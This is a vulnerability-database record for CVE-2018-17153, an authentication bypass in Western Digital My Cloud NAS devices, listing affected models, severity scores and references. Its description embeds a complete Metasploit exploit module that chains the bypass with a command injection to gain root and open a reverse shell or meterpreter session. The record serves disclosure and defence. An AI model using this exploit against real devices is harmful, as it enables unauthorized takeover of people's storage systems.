ID

VAR-201809-0306


CVE

CVE-2018-17153


TITLE

Western Digital My Cloud Authentication vulnerabilities in devices

Trust: 0.8

sources: JVNDB: JVNDB-2018-012205

DESCRIPTION

It was discovered that the Western Digital My Cloud device before 2.30.196 is affected by an authentication bypass vulnerability. An unauthenticated attacker can exploit this vulnerability to authenticate as an admin user without needing to provide a password, thereby gaining full control of the device. (Whenever an admin logs into My Cloud, a server-side session is created that is bound to the user's IP address. After the session is created, it is possible to call authenticated CGI modules by sending the cookie username=admin in the HTTP request. The invoked CGI will check if a valid session is present and bound to the user's IP address.) It was found that it is possible for an unauthenticated attacker to create a valid session without a login. The network_mgr.cgi CGI module contains a command called "cgi_get_ipv6" that starts an admin session -- tied to the IP address of the user making the request -- if the additional parameter "flag" with the value "1" is provided. Subsequent invocation of commands that would normally require admin privileges now succeed if an attacker sets the username=admin cookie. An attacker can exploit this issue to bypass authentication mechanism and perform unauthorized actions. This may lead to further attacks. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Western Digital MyCloud unauthenticated command injection', 'Description' => %q{ This module exploits authentication bypass (CVE-2018-17153) and command injection (CVE-2016-10108) vulnerabilities in Western Digital MyCloud before 2.30.196 in order to achieve unauthenticated remote code execution as the root user. The module first performs a check to see if the target is WD MyCloud. If so, it attempts to trigger an authentication bypass (CVE-2018-17153) via a crafted GET request to /cgi-bin/network_mgr.cgi. If the server responds as expected, the module assesses the vulnerability status by attempting to exploit a commend injection vulnerability (CVE-2016-10108) in order to print a random string via the echo command. This is done via a crafted POST request to /web/google_analytics.php. If the server is vulnerable, the same command injection vector is leveraged to execute the payload. This module has been successfully tested against Western Digital MyCloud version 2.30.183. Note: based on the available disclosures, it seems that the command injection vector (CVE-2016-10108) might be exploitable without the authentication bypass (CVE-2018-17153) on versions before 2.21.126. The obtained results on 2.30.183 imply that the patch for CVE-2016-10108 did not actually remove the command injection vector, but only prevented unauthenticated access to it. }, 'License' => MSF_LICENSE, 'Author' => [ 'Erik Wynter', # @wyntererik - Metasploit 'Steven Campbell', # CVE-2016-10108 disclosure and PoC 'Remco Vermeulen' # CVE-2018-17153 disclosure and PoC ], 'References' => [ ['CVE', '2016-10108'], # command injection in /web/google_analytics.php via a modified arg parameter in the POST data. ['CVE', '2018-17153'], # authentication bypass ['URL', 'https://www.securify.nl/advisory/authentication-bypass-vulnerability-in-western-digital-my-cloud-allows-escalation-to-admin-privileges/'], # CVE-2018-17153 disclosure and PoC ['URL', 'https://web.archive.org/web/20170315123948/https://www.stevencampbell.info/2016/12/command-injection-in-western-digital-mycloud-nas/'] # CVE-2016-10108 disclosure and PoC ], 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true }, 'Platform' => %w[linux unix], 'Arch' => [ ARCH_ARMLE, ARCH_CMD ], 'Targets' => [ [ 'Unix In-Memory', { 'Platform' => [ 'unix', 'linux' ], 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }, 'Type' => :unix_memory } ], [ 'Linux Dropper', { 'Arch' => [ARCH_ARMLE], 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp', 'CMDSTAGER::FLAVOR' => :curl }, 'Type' => :linux_dropper } ] ], 'CmdStagerFlavor' => ['curl', 'wget'], 'Privileged' => true, 'DisclosureDate' => '2016-12-14', # CVE-2016-10108 disclosure date 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options([ OptString.new('TARGETURI', [true, 'The base path to WD MyCloud', '/']), ]) end def check # sanity check to see if the target is likely WD MyCloud res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) }) return CheckCode::Unknown('Connection failed.') unless res return CheckCode::Safe('Target is not a WD MyCloud application.') unless res.code == 200 && res.body.include?('var MODEL_ID = "WDMyCloud') print_status("#{rhost}:#{rport} - The target is WD MyCloud. Checking vulnerability status...") # try the authentication bypass (CVE-2018-17153) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'network_mgr.cgi'), 'vars_get' => { 'cmd' => 'cgi_get_ipv6', 'flag' => 1 # this cannot be randomized according to the CVE-2018-17153 details } }) return CheckCode::Unknown('Connection failed while attempting to trigger the authentication bypass.') unless res return CheckCode::Unknown("Received unexpected response code #{res.code} while attempting to trigger the authentication bypass.") unless res.code == 404 # send a command to print a random string via echo. if the target is vulnerable, both the command and the command output will be part of the response body echo_cmd = "echo #{Rex::Text.rand_text_alphanumeric(8..42)}" print_status("#{rhost}:#{rport} - Attempting to execute #{echo_cmd}...") res = execute_command(echo_cmd, { 'wait_for_response' => true }) return CheckCode::Unknown('Connection failed while trying to execute the echo command to check the vulnerability status.') unless res return CheckCode::Vulnerable('The target executed the echo command.') if res.code == 200 && res.body.include?(echo_cmd) && res.body.include?('"success":true') CheckCode::Safe('The target failed to execute the echo command.') end def execute_command(cmd, opts = {}) request_hash = { 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'web', 'google_analytics.php'), 'cookie' => 'username=admin', 'vars_post' => { 'cmd' => 'set', 'opt' => 'cloud-device-num', 'arg' => "0|echo `#{cmd}` #" } } return send_request_cgi(request_hash) if opts['wait_for_response'] # if we are trying to execute the payload, we can just yeet it at the server and return without waiting for a response send_request_cgi(request_hash, 0) end def exploit if target.arch.first == ARCH_CMD print_status("#{rhost}:#{rport} - Executing the payload. This may take a few seconds...") execute_command(payload.encoded) else execute_cmdstager(background: true) end end end

Trust: 2.07

sources: NVD: CVE-2018-17153 // JVNDB: JVNDB-2018-012205 // BID: 105359 // VULMON: CVE-2018-17153 // PACKETSTORM: 173802

AFFECTED PRODUCTS

vendor:western digitalmodel:my cloud ex2100scope:ltversion:2.30.196

Trust: 1.0

vendor:western digitalmodel:my cloud pr2100scope:ltversion:2.30.196

Trust: 1.0

vendor:western digitalmodel:my cloud mirror gen 2scope:ltversion:2.30.196

Trust: 1.0

vendor:western digitalmodel:my cloud ex2 ultrascope:ltversion:2.30.196

Trust: 1.0

vendor:western digitalmodel:my cloud ex4scope:ltversion:2.30.196

Trust: 1.0

vendor:western digitalmodel:my cloud wdbctl0020hwtscope:ltversion:2.30.196

Trust: 1.0

vendor:western digitalmodel:my cloud dl2100scope:ltversion:2.30.196

Trust: 1.0

vendor:western digitalmodel:my cloud ex4100scope:ltversion:2.30.196

Trust: 1.0

vendor:western digitalmodel:my cloud ex2scope:ltversion:2.30.196

Trust: 1.0

vendor:western digitalmodel:my cloud pr4100scope:ltversion:2.30.196

Trust: 1.0

vendor:western digitalmodel:my cloud dl4100scope:ltversion:2.30.196

Trust: 1.0

vendor:western digitalmodel:my cloud mirrorscope:ltversion:2.30.196

Trust: 1.0

vendor:western digitalmodel:my cloud dl2100scope: - version: -

Trust: 0.8

vendor:western digitalmodel:my cloud dl4100scope: - version: -

Trust: 0.8

vendor:western digitalmodel:my cloud ex2 ultrascope: - version: -

Trust: 0.8

vendor:western digitalmodel:my cloud ex2scope: - version: -

Trust: 0.8

vendor:western digitalmodel:my cloud ex2100scope: - version: -

Trust: 0.8

vendor:western digitalmodel:my cloud ex4scope: - version: -

Trust: 0.8

vendor:western digitalmodel:my cloud ex4100scope: - version: -

Trust: 0.8

vendor:western digitalmodel:my cloud mirror gen2scope: - version: -

Trust: 0.8

vendor:western digitalmodel:my cloud mirrorscope: - version: -

Trust: 0.8

vendor:western digitalmodel:my cloud pr2100scope: - version: -

Trust: 0.8

vendor:western digitalmodel:my cloud wdbctl0020hwtscope: - version: -

Trust: 0.8

vendor:westernmodel:digital my cloud wdbctl0020hwtscope:eqversion:2.30.172

Trust: 0.3

vendor:westernmodel:digital my cloud pr4100scope:eqversion:0

Trust: 0.3

vendor:westernmodel:digital my cloud pr2100scope:eqversion:0

Trust: 0.3

vendor:westernmodel:digital my cloud mirror genscope:eqversion:20

Trust: 0.3

vendor:westernmodel:digital my cloud mirrorscope:eqversion:0

Trust: 0.3

vendor:westernmodel:digital my cloud ex4100scope:eqversion:0

Trust: 0.3

vendor:westernmodel:digital my cloud ex4scope:eqversion:0

Trust: 0.3

vendor:westernmodel:digital my cloud ex2100scope:eqversion:0

Trust: 0.3

vendor:westernmodel:digital my cloud ex2 ultrascope:eqversion:0

Trust: 0.3

vendor:westernmodel:digital my cloud ex2scope:eqversion:0

Trust: 0.3

vendor:westernmodel:digital my cloud dl4100scope:eqversion:0

Trust: 0.3

vendor:westernmodel:digital my cloud dl2100scope:eqversion:0

Trust: 0.3

sources: BID: 105359 // JVNDB: JVNDB-2018-012205 // NVD: CVE-2018-17153

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2018-17153
value: CRITICAL

Trust: 1.0

NVD: CVE-2018-17153
value: CRITICAL

Trust: 0.8

CNNVD: CNNVD-201809-848
value: CRITICAL

Trust: 0.6

VULMON: CVE-2018-17153
value: HIGH

Trust: 0.1

nvd@nist.gov: CVE-2018-17153
severity: HIGH
baseScore: 10.0
vectorString: AV:N/AC:L/AU:N/C:C/I:C/A:C
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: COMPLETE
integrityImpact: COMPLETE
availabilityImpact: COMPLETE
exploitabilityScore: 10.0
impactScore: 10.0
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.9

nvd@nist.gov: CVE-2018-17153
baseSeverity: CRITICAL
baseScore: 9.8
vectorString: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: NONE
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: HIGH
integrityImpact: HIGH
availabilityImpact: HIGH
exploitabilityScore: 3.9
impactScore: 5.9
version: 3.0

Trust: 1.8

sources: VULMON: CVE-2018-17153 // JVNDB: JVNDB-2018-012205 // CNNVD: CNNVD-201809-848 // NVD: CVE-2018-17153

PROBLEMTYPE DATA

problemtype:CWE-287

Trust: 1.8

sources: JVNDB: JVNDB-2018-012205 // NVD: CVE-2018-17153

THREAT TYPE

remote

Trust: 0.7

sources: PACKETSTORM: 173802 // CNNVD: CNNVD-201809-848

TYPE

authorization issue

Trust: 0.6

sources: CNNVD: CNNVD-201809-848

CONFIGURATIONS

sources: JVNDB: JVNDB-2018-012205

PATCH

title:Answer ID 25952url:https://support.wdc.com/knowledgebase/answer.aspx?ID=25952

Trust: 0.8

title:The Registerurl:https://www.theregister.co.uk/2018/09/18/remote_access_vulnerability_western_digital_my_cloud/

Trust: 0.2

title:BleepingComputerurl:https://www.bleepingcomputer.com/news/security/my-cloud-nas-devices-vulnerable-to-auth-bypass-for-over-a-year/

Trust: 0.1

title:BleepingComputerurl:https://www.bleepingcomputer.com/news/security/western-digital-releases-hotfix-for-my-cloud-auth-bypass-vulnerability/

Trust: 0.1

sources: VULMON: CVE-2018-17153 // JVNDB: JVNDB-2018-012205

EXTERNAL IDS

db:NVDid:CVE-2018-17153

Trust: 2.9

db:BIDid:105359

Trust: 1.4

db:PACKETSTORMid:173802

Trust: 1.2

db:JVNDBid:JVNDB-2018-012205

Trust: 0.8

db:CNNVDid:CNNVD-201809-848

Trust: 0.6

db:VULMONid:CVE-2018-17153

Trust: 0.1

sources: VULMON: CVE-2018-17153 // BID: 105359 // JVNDB: JVNDB-2018-012205 // PACKETSTORM: 173802 // CNNVD: CNNVD-201809-848 // NVD: CVE-2018-17153

REFERENCES

url:https://securify.nl/nl/advisory/sfy20180102/authentication-bypass-vulnerability-in-western-digital-my-cloud-allows-escalation-to-admin-privileges.html

Trust: 2.5

url:http://www.securityfocus.com/bid/105359

Trust: 1.2

url:https://support.wdc.com/knowledgebase/answer.aspx?id=25952

Trust: 1.1

url:http://packetstormsecurity.com/files/173802/western-digital-mycloud-unauthenticated-command-injection.html

Trust: 1.1

url:https://nvd.nist.gov/vuln/detail/cve-2018-17153

Trust: 0.9

url:https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2018-17153

Trust: 0.8

url:https://www.securify.nl/advisory/sfy20180102/authentication-bypass-vulnerability-in-western-digital-my-cloud-allows-escalation-to-admin-privileges.html

Trust: 0.3

url:https://www.wdc.com

Trust: 0.3

url:https://blog.westerndigital.com/western-digital-my-cloud-update/

Trust: 0.3

url:https://cwe.mitre.org/data/definitions/287.html

Trust: 0.1

url:https://nvd.nist.gov

Trust: 0.1

url:https://www.bleepingcomputer.com/news/security/my-cloud-nas-devices-vulnerable-to-auth-bypass-for-over-a-year/

Trust: 0.1

url:https://metasploit.com/download

Trust: 0.1

url:https://web.archive.org/web/20170315123948/https://www.stevencampbell.info/2016/12/command-injection-in-western-digital-mycloud-nas/']

Trust: 0.1

url:https://github.com/rapid7/metasploit-framework

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2016-10108

Trust: 0.1

url:https://www.securify.nl/advisory/authentication-bypass-vulnerability-in-western-digital-my-cloud-allows-escalation-to-admin-privileges/'],

Trust: 0.1

sources: VULMON: CVE-2018-17153 // BID: 105359 // JVNDB: JVNDB-2018-012205 // PACKETSTORM: 173802 // CNNVD: CNNVD-201809-848 // NVD: CVE-2018-17153

CREDITS

Exploitee.rs, Infosec shop Securify

Trust: 0.3

sources: BID: 105359

SOURCES

db:VULMONid:CVE-2018-17153
db:BIDid:105359
db:JVNDBid:JVNDB-2018-012205
db:PACKETSTORMid:173802
db:CNNVDid:CNNVD-201809-848
db:NVDid:CVE-2018-17153

LAST UPDATE DATE

2024-11-23T22:13:11.374000+00:00


SOURCES UPDATE DATE

db:VULMONid:CVE-2018-17153date:2023-07-28T00:00:00
db:BIDid:105359date:2018-09-19T00:00:00
db:JVNDBid:JVNDB-2018-012205date:2019-01-31T00:00:00
db:CNNVDid:CNNVD-201809-848date:2018-09-19T00:00:00
db:NVDid:CVE-2018-17153date:2024-11-21T03:53:58.427

SOURCES RELEASE DATE

db:VULMONid:CVE-2018-17153date:2018-09-18T00:00:00
db:BIDid:105359date:2018-09-19T00:00:00
db:JVNDBid:JVNDB-2018-012205date:2019-01-31T00:00:00
db:PACKETSTORMid:173802date:2023-07-28T14:03:45
db:CNNVDid:CNNVD-201809-848date:2018-09-19T00:00:00
db:NVDid:CVE-2018-17153date:2018-09-18T15:29:00.307